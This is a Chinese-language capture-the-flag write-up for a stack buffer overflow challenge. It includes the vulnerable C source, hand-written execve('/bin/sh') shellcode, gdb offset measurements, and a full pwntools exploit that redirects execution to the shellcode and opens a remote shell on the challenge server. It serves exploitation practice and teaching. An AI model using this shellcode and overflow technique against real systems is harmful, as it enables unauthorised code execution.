原始碼
#include <stdio.h>
#include <sys/mman.h>
// gcc -o chal chal.c -fno-stack-protector -no-pie -z execstack
void init_IOBUF(){
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
}
char message[50];
int main() {
init_IOBUF();
void *mem = (void *)0x00404000;
size_t size = 0x1000;
mprotect(mem, size, PROT_READ | PROT_WRITE | PROT_EXEC);
puts("> ");
read(0, message, 50);
puts("> ");
char buffer[100];
gets(buffer);
return 0;
}
解題
解題思路
目標要輸入我們自己的shellcode,之後利用overflow的方法跳到我們shellcode儲存的地方
確認保護機制
checksec --file=chal

製作shellcode
用python轉換指令"/bin/sh"
str=b"/bin/sh"
a=hex(int.from_bytes(str,'little'))
a
編寫組合語言

mov rax,0x68732f6e69622f
push rax,
mov rdi,rsp
xor rdx,rdx
xor rsi,rsi
mov rax,0x3b
syscall
尋找需要的資訊
計算需要overflow大小
gdb ./chal
b main
run

0xdf38-0xdeb0=0x88
尋找我們要跳到的位置
gdb ./chal
b main
run

實際payload
from pwn import *
context.arch = 'amd64'
host='66.235.110.67'
port=20002
r=remote(host,port)
sc=asm("""
mov rax,0x68732f6e69622f
push rax
mov rdi,rsp
xor rsi,rsi
xor rdx,rdx
mov rax,0x3b
syscall
""")
p=flat(
b'a'*0x88,
0x404080
)
r.sendlineafter('> \n',sc)
r.sendlineafter('> \n',p)
r.interactive()
flag



說些什麼吧!